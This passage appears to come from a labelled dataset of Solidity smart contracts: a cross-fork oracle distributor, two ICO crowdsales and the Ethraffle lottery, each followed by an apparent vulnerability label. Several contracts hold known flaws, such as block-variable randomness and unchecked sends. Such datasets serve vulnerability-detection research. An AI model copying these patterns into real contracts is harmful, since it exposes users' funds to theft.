function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract BasicUtility {
function stringToUint(string s) constant internal returns (uint result) {
bytes memory b = bytes(s);
uint i;
result = 0;
for (i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
}
function checkValidBitcoinAddress(string bitcoinAddress) constant internal returns (bool) {
bytes memory bitcoinAddressBytes = bytes(bitcoinAddress);
if (bitcoinAddressBytes.length < 20)
return false;
for(uint i = 0; i < bitcoinAddressBytes.length; i++) {
if (bitcoinAddressBytes[i] < 48
|| (bitcoinAddressBytes[i] > 57 && bitcoinAddressBytes[i] < 65)
|| (bitcoinAddressBytes[i] > 90 && bitcoinAddressBytes[i] < 97)
|| bitcoinAddressBytes[i] > 122)
return false;
}
return true;
}
function checkValidBase64(string sig) constant internal returns (bool) {
bytes memory sigBytes = bytes(sig);
for(uint i = 0; i < sigBytes.length; i++) {
if (sigBytes[i] == 43)
continue;
if (sigBytes[i] == 47)
continue;
if (sigBytes[i] == 61)
continue;
if (sigBytes[i] >= 48 && sigBytes[i] <= 57)
continue;
if (sigBytes[i] >= 65 && sigBytes[i] <= 90)
continue;
if (sigBytes[i] >= 97 && sigBytes[i] <= 122)
continue;
return false;
}
return true;
}
function addressToString(address x) constant internal returns (string) {
bytes memory s = new bytes(40);
for (uint i = 0; i < 20; i++) {
byte b = byte(uint8(uint(x) / (2**(8*(19 - i)))));
byte hi = byte(uint8(b) / 16);
byte lo = byte(uint8(b) - 16 * uint8(hi));
s[2*i] = getChar(hi);
s[2*i+1] = getChar(lo);
}
return string(s);
}
function getChar(byte b) constant internal returns (byte c) {
if (b < 10) return byte(uint8(b) + 0x30);
else return byte(uint8(b) + 0x57);
}
}
contract BasicAccessControl {
address public owner;
address[] public moderators;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
if (msg.sender != owner) {
bool found = false;
for (uint index = 0; index < moderators.length; index++) {
if (moderators[index] == msg.sender) {
found = true;
break;
}
}
require(found);
}
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function Kill() onlyOwner public {
selfdestruct(owner);
}
function AddModerator(address _newModerator) onlyOwner public {
if (_newModerator != address(0)) {
for (uint index = 0; index < moderators.length; index++) {
if (moderators[index] == _newModerator) {
return;
}
}
moderators.push(_newModerator);
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
uint foundIndex = 0;
for (; foundIndex < moderators.length; foundIndex++) {
if (moderators[foundIndex] == _oldModerator) {
break;
}
}
if (foundIndex < moderators.length) {
moderators[foundIndex] = moderators[moderators.length-1];
delete moderators[moderators.length-1];
moderators.length--;
}
}
}
interface CrossForkDistribution {
function getDistributedAmount(uint64 _requestId, string _btcAddress, address _receiver) public;
}
interface CrossForkCallback {
function callbackCrossFork(uint64 _requestId, uint256 _amount, bytes32 _referCodeHash) public;
}
interface BytetherOVI {
function GetOwnership(string _btcAddress) constant public returns(address, bytes32);
}
contract BTHCrossFork is usingOraclize, BasicUtility, BasicAccessControl, CrossForkDistribution {
enum QueryResultCode {
SUCCESS,
NOT_ENOUGH_BALANCE,
INVALID_QUERY,
INVALID_OV_VERIFY,
INVALID_BITCOIN_ADDRESS
}
struct QueryInfo {
bytes32 referCodeHash;
uint64 requestId;
address sender;
}
mapping(bytes32=>QueryInfo) queries;
address public bytetherOVAddress = 0x0;
string public verifyUrl = "";
uint64 public crossForkBlockNumber = 0;
event LogReceiveQuery(bytes32 indexed queryId, uint64 requestId, uint256 amount, QueryResultCode resultCode);
event LogTriggerQuery(bytes32 indexed btcAddressHash, uint64 requestId, address receiver, QueryResultCode resultCode);
function BTHCrossFork(address _bytetherOVAddress, string _verifyUrl, uint64 _crossForkBlockNumber) public {
bytetherOVAddress = _bytetherOVAddress;
verifyUrl = _verifyUrl;
crossForkBlockNumber = _crossForkBlockNumber;
}
function () payable public {}
function setBytetherOVAddress(address _bytetherOVAddress) onlyModerators public {
bytetherOVAddress = _bytetherOVAddress;
}
function setVerifyUrl(string _verifyUrl) onlyModerators public {
verifyUrl = _verifyUrl;
}
function setCrossForkBlockNumber(uint64 _blockNumber) onlyModerators public {
crossForkBlockNumber = _blockNumber;
}
function extractBTHAmount(string result) constant public returns(uint256) {
uint256 value = 0;
bytes memory b = bytes(result);
if (b[0] != 118 || b[1] != 61)
return value;
for (uint i = 2; i < b.length; i++) {
if (b[i] >= 48 && b[i] <= 57) {
value = value * 10 + (uint256(b[i]) - 48);
}
}
return value;
}
function __callback(bytes32 _queryId, string _result) public {
if (msg.sender != oraclize_cbAddress()) {
LogReceiveQuery(_queryId, 0, 0, QueryResultCode.INVALID_QUERY);
return;
}
QueryInfo storage info = queries[_queryId];
if (info.sender == 0x0) {
LogReceiveQuery(_queryId, info.requestId, 0, QueryResultCode.INVALID_QUERY);
return;
}
uint256 amount = extractBTHAmount(_result);
CrossForkCallback crossfork = CrossForkCallback(info.sender);
crossfork.callbackCrossFork(info.requestId, amount, info.referCodeHash);
LogReceiveQuery(_queryId, info.requestId, amount, QueryResultCode.SUCCESS);
}
function getDistributedAmount(uint64 _requestId, string _btcAddress, address _receiver) public {
bytes32 btcAddressHash = keccak256(_btcAddress);
if (!checkValidBitcoinAddress(_btcAddress)) {
LogTriggerQuery(btcAddressHash, _requestId, _receiver, QueryResultCode.INVALID_BITCOIN_ADDRESS);
return;
}
if (bytetherOVAddress == 0x0) {
LogTriggerQuery(btcAddressHash, _requestId, _receiver, QueryResultCode.INVALID_QUERY);
return;
}
BytetherOVI bytetherOV = BytetherOVI(bytetherOVAddress);
address verifiedReceiver;
bytes32 referCodeHash;
(verifiedReceiver, referCodeHash) = bytetherOV.GetOwnership(_btcAddress);
if (verifiedReceiver != _receiver) {
LogTriggerQuery(btcAddressHash, _requestId, _receiver, QueryResultCode.INVALID_OV_VERIFY);
return;
}
if (oraclize_getPrice("URL") > this.balance) {
LogTriggerQuery(btcAddressHash, _requestId, _receiver, QueryResultCode.NOT_ENOUGH_BALANCE);
return;
}
bytes32 queryId = oraclize_query(
"URL",
verifyUrl,
strConcat(
'{"btc_address":"',
_btcAddress,
'","eth_address":"',
addressToString(_receiver),
'","block_number":"',
uint2str(crossForkBlockNumber),
'"}')
);
QueryInfo storage info = queries[queryId];
info.referCodeHash = referCodeHash;
info.requestId = _requestId;
info.sender = msg.sender;
LogTriggerQuery(btcAddressHash, _requestId, _receiver, QueryResultCode.SUCCESS);
}
} | 1 | 3,678 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract MOIRAICO {
enum State {
Preico,
Ico,
Successful
}
State public state = State.Preico;
uint startTime = now;
uint[9] tablePrices = [
63800,70180,76560,
58000,63800,70180,
32200,35420,38640
];
mapping (address => uint) balances;
uint public totalRaised;
uint public currentBalance;
uint public preICODeadline;
uint public ICOdeadline;
uint public completedAt;
token public tokenReward;
address public creator;
address public beneficiary;
string public campaignUrl;
uint constant version = 1;
event LogFundingReceived(address _addr, uint _amount, uint _currentTotal);
event LogBeneficiaryPaid(address _beneficiaryAddress);
event LogFundingSuccessful(uint _totalRaised);
event LogFunderInitialized(
address _creator,
address _beneficiary,
string _url,
uint256 _preICODeadline,
uint256 _ICOdeadline);
event LogContributorsPayout(address _addr, uint _amount);
modifier notFinished() {
require(state != State.Successful);
_;
}
function MOIRAICO (
string _campaignUrl,
token _addressOfTokenUsedAsReward )
public
{
creator = msg.sender;
beneficiary = msg.sender;
campaignUrl = _campaignUrl;
preICODeadline = SafeMath.add(startTime,34 days);
ICOdeadline = SafeMath.add(preICODeadline,30 days);
currentBalance = 0;
tokenReward = token(_addressOfTokenUsedAsReward);
LogFunderInitialized(
creator,
beneficiary,
campaignUrl,
preICODeadline,
ICOdeadline);
}
function contribute() public notFinished payable {
require(msg.value > 1 finney);
uint tokenBought;
totalRaised =SafeMath.add(totalRaised, msg.value);
currentBalance = totalRaised;
if(state == State.Preico && now < (startTime + 1 days)){
if(msg.value < 10 ether){
tokenBought = SafeMath.mul(msg.value,tablePrices[0]);
}
else if(msg.value < 20 ether){
tokenBought = SafeMath.mul(msg.value,tablePrices[1]);
}
else{
tokenBought = SafeMath.mul(msg.value,tablePrices[2]);
}
}
else if(state == State.Preico) {
if(msg.value < 10 ether){
tokenBought = SafeMath.mul(msg.value,tablePrices[3]);
}
else if(msg.value < 20 ether){
tokenBought = SafeMath.mul(msg.value,tablePrices[4]);
}
else{
tokenBought = SafeMath.mul(msg.value,tablePrices[5]);
}
}
else{
if(msg.value < 10 ether){
tokenBought = SafeMath.mul(msg.value,tablePrices[6]);
}
else if(msg.value < 20 ether){
tokenBought = SafeMath.mul(msg.value,tablePrices[7]);
}
else{
tokenBought = SafeMath.mul(msg.value,tablePrices[8]);
}
}
tokenReward.transfer(msg.sender, tokenBought);
LogFundingReceived(msg.sender, msg.value, totalRaised);
LogContributorsPayout(msg.sender, tokenBought);
checkIfFundingCompleteOrExpired();
}
function checkIfFundingCompleteOrExpired() public {
if(now < ICOdeadline && state!=State.Successful){
if(now > preICODeadline && state==State.Preico){
state = State.Ico;
}
}
else if(now > ICOdeadline && state!=State.Successful) {
state = State.Successful;
completedAt = now;
LogFundingSuccessful(totalRaised);
finished();
}
}
function payOut() public {
require(msg.sender == beneficiary);
require(beneficiary.send(this.balance));
LogBeneficiaryPaid(beneficiary);
}
function finished() public {
uint remanent;
require(state == State.Successful);
require(beneficiary.send(this.balance));
remanent = tokenReward.balanceOf(this);
tokenReward.transfer(beneficiary,remanent);
currentBalance = 0;
LogBeneficiaryPaid(beneficiary);
LogContributorsPayout(beneficiary, remanent);
}
function () public payable {
require(msg.value > 1 finney);
contribute();
}
} | 1 | 3,448 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract UserRegistryInterface {
event AddAddress(address indexed who);
event AddIdentity(address indexed who);
function knownAddress(address _who) public constant returns(bool);
function hasIdentity(address _who) public constant returns(bool);
function systemAddresses(address _to, address _from) public constant returns(bool);
}
contract MultiOwners {
event AccessGrant(address indexed owner);
event AccessRevoke(address indexed owner);
mapping(address => bool) owners;
address public publisher;
function MultiOwners() public {
owners[msg.sender] = true;
publisher = msg.sender;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function isOwner() public constant returns (bool) {
return owners[msg.sender] ? true : false;
}
function checkOwner(address maybe_owner) public constant returns (bool) {
return owners[maybe_owner] ? true : false;
}
function grant(address _owner) onlyOwner public {
owners[_owner] = true;
AccessGrant(_owner);
}
function revoke(address _owner) onlyOwner public {
require(_owner != publisher);
require(msg.sender != _owner);
owners[_owner] = false;
AccessRevoke(_owner);
}
}
contract TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract TokenInterface is ERC20 {
string public name;
string public symbol;
uint public decimals;
}
contract MintableTokenInterface is TokenInterface {
address public owner;
function mint(address beneficiary, uint amount) public returns(bool);
function transferOwnership(address nextOwner) public;
}
contract Crowdsale is MultiOwners, TokenRecipient {
using SafeMath for uint;
uint public constant VERSION = 0x1;
enum State {
Setup,
Active,
Claim,
Refund,
History
}
struct PersonalBonusRecord {
uint bonus;
address refererAddress;
uint refererBonus;
}
struct WhitelistRecord {
bool allow;
uint min;
uint max;
}
bool public isWhitelisted;
bool public isKnownOnly;
bool public isAmountBonus;
bool public isEarlyBonus;
bool public isTokenExchange;
bool public isAllowToIssue;
bool public isDisableEther;
bool public isExtraDistribution;
bool public isTransferShipment;
bool public isCappedInEther;
bool public isPersonalBonuses;
bool public isAllowClaimBeforeFinalization;
bool public isMinimumValue;
bool public isMinimumInEther;
uint public minimumPurchaseValue;
mapping (address => WhitelistRecord) public whitelist;
UserRegistryInterface public userRegistry;
mapping (uint => uint) public amountBonuses;
uint[] public amountSlices;
uint public amountSlicesCount;
mapping (uint => uint) public timeBonuses;
uint[] public timeSlices;
uint public timeSlicesCount;
mapping (address => PersonalBonusRecord) public personalBonuses;
MintableTokenInterface public token;
uint public tokenDecimals;
mapping (address => TokenInterface) public allowedTokens;
mapping (address => uint) public tokensValues;
uint public startTime;
uint public endTime;
address public wallet;
uint public price;
uint public hardCap;
uint public softCap;
address public extraTokensHolder;
uint public extraDistributionPart;
uint public weiRaised;
State public state;
mapping (address => uint) public beneficiaryInvest;
uint public soldTokens;
mapping (address => uint) public weiDeposit;
mapping (address => mapping(address => uint)) public altDeposit;
modifier inState(State _target) {
require(state == _target);
_;
}
event EthBuy(
address indexed purchaser,
address indexed beneficiary,
uint value,
uint amount);
event HashBuy(
address indexed beneficiary,
uint value,
uint amount,
uint timestamp,
bytes32 indexed bitcoinHash);
event AltBuy(
address indexed beneficiary,
address indexed allowedToken,
uint allowedTokenValue,
uint ethValue,
uint shipAmount);
event ShipTokens(address indexed owner, uint amount);
event Sanetize();
event Finalize();
event Whitelisted(address indexed beneficiary, uint min, uint max);
event PersonalBonus(address indexed beneficiary, address indexed referer, uint bonus, uint refererBonus);
event FundsClaimed(address indexed owner, uint amount);
function setFlags(
bool _isWhitelisted,
bool _isKnownOnly,
bool _isAmountBonus,
bool _isEarlyBonus,
bool _isTokenExchange,
bool _isAllowToIssue,
bool _isDisableEther,
bool _isExtraDistribution,
bool _isTransferShipment,
bool _isCappedInEther,
bool _isPersonalBonuses,
bool _isAllowClaimBeforeFinalization)
inState(State.Setup) onlyOwner public
{
isWhitelisted = _isWhitelisted;
isKnownOnly = _isKnownOnly;
isAmountBonus = _isAmountBonus;
isEarlyBonus = _isEarlyBonus;
isTokenExchange = _isTokenExchange;
isAllowToIssue = _isAllowToIssue;
isDisableEther = _isDisableEther;
isExtraDistribution = _isExtraDistribution;
isTransferShipment = _isTransferShipment;
isCappedInEther = _isCappedInEther;
isPersonalBonuses = _isPersonalBonuses;
isAllowClaimBeforeFinalization = _isAllowClaimBeforeFinalization;
}
function setMinimum(uint _amount, bool _inToken)
onlyOwner public
{
if (_amount == 0) {
isMinimumValue = false;
minimumPurchaseValue = 0;
} else {
isMinimumValue = true;
isMinimumInEther = !_inToken;
minimumPurchaseValue = _amount;
}
}
function setPrice(uint _price)
inState(State.Setup) onlyOwner public
{
require(_price > 0);
price = _price;
}
function setSoftHardCaps(uint _softCap, uint _hardCap)
inState(State.Setup) onlyOwner public
{
hardCap = _hardCap;
softCap = _softCap;
}
function setTime(uint _start, uint _end)
inState(State.Setup) onlyOwner public
{
require(_start < _end);
require(_end > block.timestamp);
startTime = _start;
endTime = _end;
}
function setToken(address _tokenAddress)
inState(State.Setup) onlyOwner public
{
token = MintableTokenInterface(_tokenAddress);
tokenDecimals = token.decimals();
}
function setWallet(address _wallet)
inState(State.Setup) onlyOwner public
{
require(_wallet != address(0));
wallet = _wallet;
}
function setRegistry(address _registry)
inState(State.Setup) onlyOwner public
{
require(_registry != address(0));
userRegistry = UserRegistryInterface(_registry);
}
function setExtraDistribution(address _holder, uint _extraPart)
inState(State.Setup) onlyOwner public
{
require(_holder != address(0));
extraTokensHolder = _holder;
extraDistributionPart = _extraPart;
}
function setAmountBonuses(uint[] _amountSlices, uint[] _bonuses)
inState(State.Setup) onlyOwner public
{
require(_amountSlices.length > 1);
require(_bonuses.length == _amountSlices.length);
uint lastSlice = 0;
for (uint index = 0; index < _amountSlices.length; index++) {
require(_amountSlices[index] > lastSlice);
lastSlice = _amountSlices[index];
amountSlices.push(lastSlice);
amountBonuses[lastSlice] = _bonuses[index];
}
amountSlicesCount = amountSlices.length;
}
function setTimeBonuses(uint[] _timeSlices, uint[] _bonuses)
onlyOwner
public
{
require(_timeSlices.length > 0);
require(_bonuses.length == _timeSlices.length);
uint lastSlice = 0;
uint lastBonus = 10000;
if (timeSlicesCount > 0) {
lastSlice = timeSlices[timeSlicesCount - 1];
lastBonus = timeBonuses[lastSlice];
}
for (uint index = 0; index < _timeSlices.length; index++) {
require(_timeSlices[index] > lastSlice);
require(_bonuses[index] <= lastBonus);
lastSlice = _timeSlices[index];
timeSlices.push(lastSlice);
timeBonuses[lastSlice] = _bonuses[index];
}
timeSlicesCount = timeSlices.length;
}
function setTokenExcange(address _token, uint _value)
inState(State.Setup) onlyOwner public
{
allowedTokens[_token] = TokenInterface(_token);
updateTokenValue(_token, _value);
}
function saneIt()
inState(State.Setup) onlyOwner public
{
require(startTime < endTime);
require(endTime > now);
require(price > 0);
require(wallet != address(0));
require(token != address(0));
if (isKnownOnly) {
require(userRegistry != address(0));
}
if (isAmountBonus) {
require(amountSlicesCount > 0);
}
if (isExtraDistribution) {
require(extraTokensHolder != address(0));
}
if (isTransferShipment) {
require(token.balanceOf(address(this)) >= hardCap);
} else {
require(token.owner() == address(this));
}
state = State.Active;
}
function finalizeIt(address _futureOwner) inState(State.Active) onlyOwner public {
require(ended());
token.transferOwnership(_futureOwner);
if (success()) {
state = State.Claim;
} else {
state = State.Refund;
}
}
function historyIt() inState(State.Claim) onlyOwner public {
require(address(this).balance == 0);
state = State.History;
}
function calculateEthAmount(
address _beneficiary,
uint _weiAmount,
uint _time,
uint _totalSupply
) public constant returns(
uint calculatedTotal,
uint calculatedBeneficiary,
uint calculatedExtra,
uint calculatedreferer,
address refererAddress)
{
_totalSupply;
uint bonus = 0;
if (isAmountBonus) {
bonus = bonus.add(calculateAmountBonus(_weiAmount));
}
if (isEarlyBonus) {
bonus = bonus.add(calculateTimeBonus(_time.sub(startTime)));
}
if (isPersonalBonuses && personalBonuses[_beneficiary].bonus > 0) {
bonus = bonus.add(personalBonuses[_beneficiary].bonus);
}
calculatedBeneficiary = _weiAmount.mul(10 ** tokenDecimals).div(price);
if (bonus > 0) {
calculatedBeneficiary = calculatedBeneficiary.add(calculatedBeneficiary.mul(bonus).div(10000));
}
if (isExtraDistribution) {
calculatedExtra = calculatedBeneficiary.mul(extraDistributionPart).div(10000);
}
if (isPersonalBonuses &&
personalBonuses[_beneficiary].refererAddress != address(0) &&
personalBonuses[_beneficiary].refererBonus > 0)
{
calculatedreferer = calculatedBeneficiary.mul(personalBonuses[_beneficiary].refererBonus).div(10000);
refererAddress = personalBonuses[_beneficiary].refererAddress;
}
calculatedTotal = calculatedBeneficiary.add(calculatedExtra).add(calculatedreferer);
}
function calculateAmountBonus(uint _changeAmount) public constant returns(uint) {
uint bonus = 0;
for (uint index = 0; index < amountSlices.length; index++) {
if(amountSlices[index] > _changeAmount) {
break;
}
bonus = amountBonuses[amountSlices[index]];
}
return bonus;
}
function calculateTimeBonus(uint _at) public constant returns(uint) {
uint bonus = 0;
for (uint index = timeSlices.length; index > 0; index--) {
if(timeSlices[index - 1] < _at) {
break;
}
bonus = timeBonuses[timeSlices[index - 1]];
}
return bonus;
}
function validPurchase(
address _beneficiary,
uint _weiAmount,
uint _tokenAmount,
uint _extraAmount,
uint _totalAmount,
uint _time)
public constant returns(bool)
{
_tokenAmount;
_extraAmount;
if (isMinimumValue) {
if (isMinimumInEther && _weiAmount < minimumPurchaseValue) {
return false;
}
if (!isMinimumInEther && _tokenAmount < minimumPurchaseValue) {
return false;
}
}
if (_time < startTime || _time > endTime) {
return false;
}
if (isKnownOnly && !userRegistry.knownAddress(_beneficiary)) {
return false;
}
uint finalBeneficiaryInvest = beneficiaryInvest[_beneficiary].add(_weiAmount);
uint finalTotalSupply = soldTokens.add(_totalAmount);
if (isWhitelisted) {
WhitelistRecord storage record = whitelist[_beneficiary];
if (!record.allow ||
record.min > finalBeneficiaryInvest ||
record.max < finalBeneficiaryInvest) {
return false;
}
}
if (isCappedInEther) {
if (weiRaised.add(_weiAmount) > hardCap) {
return false;
}
} else {
if (finalTotalSupply > hardCap) {
return false;
}
}
return true;
}
function updateTokenValue(address _token, uint _value) onlyOwner public {
require(address(allowedTokens[_token]) != address(0x0));
tokensValues[_token] = _value;
}
function success() public constant returns(bool) {
if (isCappedInEther) {
return weiRaised >= softCap;
} else {
return token.totalSupply() >= softCap;
}
}
function capped() public constant returns(bool) {
if (isCappedInEther) {
return weiRaised >= hardCap;
} else {
return token.totalSupply() >= hardCap;
}
}
function ended() public constant returns(bool) {
return capped() || block.timestamp >= endTime;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) inState(State.Active) public payable {
require(!isDisableEther);
uint shipAmount = sellTokens(_beneficiary, msg.value, block.timestamp);
require(shipAmount > 0);
forwardEther();
}
function buyWithHash(address _beneficiary, uint _value, uint _timestamp, bytes32 _hash)
inState(State.Active) onlyOwner public
{
require(isAllowToIssue);
uint shipAmount = sellTokens(_beneficiary, _value, _timestamp);
require(shipAmount > 0);
HashBuy(_beneficiary, _value, shipAmount, _timestamp, _hash);
}
function receiveApproval(address _from,
uint256 _value,
address _token,
bytes _extraData) public
{
if (_token == address(token)) {
TokenInterface(_token).transferFrom(_from, address(this), _value);
return;
}
require(isTokenExchange);
require(toUint(_extraData) == tokensValues[_token]);
require(tokensValues[_token] > 0);
require(forwardTokens(_from, _token, _value));
uint weiValue = _value.mul(tokensValues[_token]).div(10 ** allowedTokens[_token].decimals());
require(weiValue > 0);
uint shipAmount = sellTokens(_from, weiValue, block.timestamp);
require(shipAmount > 0);
AltBuy(_from, _token, _value, weiValue, shipAmount);
}
function claimFunds() onlyOwner public returns(bool) {
require(state == State.Claim || (isAllowClaimBeforeFinalization && success()));
wallet.transfer(address(this).balance);
return true;
}
function claimTokenFunds(address _token) onlyOwner public returns(bool) {
require(state == State.Claim || (isAllowClaimBeforeFinalization && success()));
uint balance = allowedTokens[_token].balanceOf(address(this));
require(balance > 0);
require(allowedTokens[_token].transfer(wallet, balance));
return true;
}
function claimRefundEther(address _beneficiary) inState(State.Refund) public returns(bool) {
require(weiDeposit[_beneficiary] > 0);
_beneficiary.transfer(weiDeposit[_beneficiary]);
return true;
}
function claimRefundTokens(address _beneficiary, address _token) inState(State.Refund) public returns(bool) {
require(altDeposit[_token][_beneficiary] > 0);
require(allowedTokens[_token].transfer(_beneficiary, altDeposit[_token][_beneficiary]));
return true;
}
function addToWhitelist(address _beneficiary, uint _min, uint _max) onlyOwner public
{
require(_beneficiary != address(0));
require(_min <= _max);
if (_max == 0) {
_max = 10 ** 40;
}
whitelist[_beneficiary] = WhitelistRecord(true, _min, _max);
Whitelisted(_beneficiary, _min, _max);
}
function setPersonalBonus(
address _beneficiary,
uint _bonus,
address _refererAddress,
uint _refererBonus) onlyOwner public {
personalBonuses[_beneficiary] = PersonalBonusRecord(
_bonus,
_refererAddress,
_refererBonus
);
PersonalBonus(_beneficiary, _refererAddress, _bonus, _refererBonus);
}
function sellTokens(address _beneficiary, uint _weiAmount, uint timestamp)
inState(State.Active) internal returns(uint)
{
uint beneficiaryTokens;
uint extraTokens;
uint totalTokens;
uint refererTokens;
address refererAddress;
(totalTokens, beneficiaryTokens, extraTokens, refererTokens, refererAddress) = calculateEthAmount(
_beneficiary,
_weiAmount,
timestamp,
token.totalSupply());
require(validPurchase(_beneficiary,
_weiAmount,
beneficiaryTokens,
extraTokens,
totalTokens,
timestamp));
weiRaised = weiRaised.add(_weiAmount);
beneficiaryInvest[_beneficiary] = beneficiaryInvest[_beneficiary].add(_weiAmount);
shipTokens(_beneficiary, beneficiaryTokens);
EthBuy(msg.sender,
_beneficiary,
_weiAmount,
beneficiaryTokens);
ShipTokens(_beneficiary, beneficiaryTokens);
if (isExtraDistribution) {
shipTokens(extraTokensHolder, extraTokens);
ShipTokens(extraTokensHolder, extraTokens);
}
if (isPersonalBonuses) {
PersonalBonusRecord storage record = personalBonuses[_beneficiary];
if (record.refererAddress != address(0) && record.refererBonus > 0) {
shipTokens(record.refererAddress, refererTokens);
ShipTokens(record.refererAddress, refererTokens);
}
}
soldTokens = soldTokens.add(totalTokens);
return beneficiaryTokens;
}
function shipTokens(address _beneficiary, uint _amount)
inState(State.Active) internal
{
if (isTransferShipment) {
token.transfer(_beneficiary, _amount);
} else {
token.mint(address(this), _amount);
token.transfer(_beneficiary, _amount);
}
}
function forwardEther() internal returns (bool) {
weiDeposit[msg.sender] = msg.value;
return true;
}
function forwardTokens(address _beneficiary, address _tokenAddress, uint _amount) internal returns (bool) {
TokenInterface allowedToken = allowedTokens[_tokenAddress];
allowedToken.transferFrom(_beneficiary, address(this), _amount);
altDeposit[_tokenAddress][_beneficiary] = _amount;
return true;
}
function toUint(bytes left) public pure returns (uint) {
uint out;
for (uint i = 0; i < 32; i++) {
out |= uint(left[i]) << (31 * 8 - i * 8);
}
return out;
}
}
contract BaseAltCrowdsale is Crowdsale {
function BaseAltCrowdsale(
address _registry,
address _token,
address _extraTokensHolder,
address _wallet,
bool _isWhitelisted,
uint _price,
uint _start,
uint _end,
uint _softCap,
uint _hardCap
) public {
setFlags(
_isWhitelisted,
true,
true,
true,
false,
true,
false,
true,
false,
true,
true,
false
);
setToken(_token);
setTime(_start, _end);
setRegistry(_registry);
setWallet(_wallet);
setExtraDistribution(
_extraTokensHolder,
6667
);
setSoftHardCaps(
_softCap,
_hardCap
);
setPrice(_price);
}
}
contract AltCrowdsalePhaseOne is BaseAltCrowdsale {
function AltCrowdsalePhaseOne (
address _registry,
address _token,
address _extraTokensHolder,
address _wallet
)
BaseAltCrowdsale(
_registry,
_token,
_extraTokensHolder,
_wallet,
false,
uint(1 ether).div(100000),
1523621913,
1530403199,
2500 ether,
7500 ether
)
public {
}
} | 0 | 915 |
pragma solidity ^0.4.0;
contract Ethraffle {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint indexed raffleId,
uint winningNumber,
address winningAddress,
uint blockTimestamp,
uint blockNumber,
uint gasLimit,
uint difficulty,
uint gas,
uint value,
address msgSender,
address blockCoinbase,
bytes32 sha
);
event TicketPurchase(
uint indexed raffleId,
address contestant,
uint number
);
event TicketRefund(
uint indexed raffleId,
address contestant,
uint number
);
address public rakeAddress;
uint constant public prize = 0.1 ether;
uint constant public rake = 0.02 ether;
uint constant public totalTickets = 6;
uint constant public pricePerTicket = (prize + rake) / totalTickets;
uint public raffleId = 1;
uint public nextTicket = 1;
mapping (uint => Contestant) public contestants;
uint[] public gaps;
bool public paused = false;
function Ethraffle() public {
rakeAddress = msg.sender;
}
function () payable public {
buyTickets();
}
function buyTickets() payable public {
if (paused) {
msg.sender.transfer(msg.value);
return;
}
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket <= totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
TicketPurchase(raffleId, msg.sender, currTicket);
moneySent -= pricePerTicket;
}
if (nextTicket > totalTickets) {
chooseWinner();
}
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
bytes32 sha = sha3(
block.timestamp,
block.number,
block.gaslimit,
block.difficulty,
msg.gas,
msg.value,
msg.sender,
block.coinbase
);
uint winningNumber = (uint(sha) % totalTickets) + 1;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(
raffleId, winningNumber, winningAddress, block.timestamp,
block.number, block.gaslimit, block.difficulty, msg.gas,
msg.value, msg.sender, block.coinbase, sha
);
raffleId++;
nextTicket = 1;
winningAddress.transfer(prize);
rakeAddress.transfer(rake);
}
function getRefund() public {
uint refunds = 0;
for (uint i = 1; i <= totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refunds++;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refunds > 0) {
msg.sender.transfer(refunds * pricePerTicket);
}
}
function endRaffle() public {
if (msg.sender == rakeAddress) {
paused = true;
for (uint i = 1; i <= totalTickets; i++) {
if (raffleId == contestants[i].raffleId) {
TicketRefund(raffleId, contestants[i].addr, i);
contestants[i].addr.transfer(pricePerTicket);
}
}
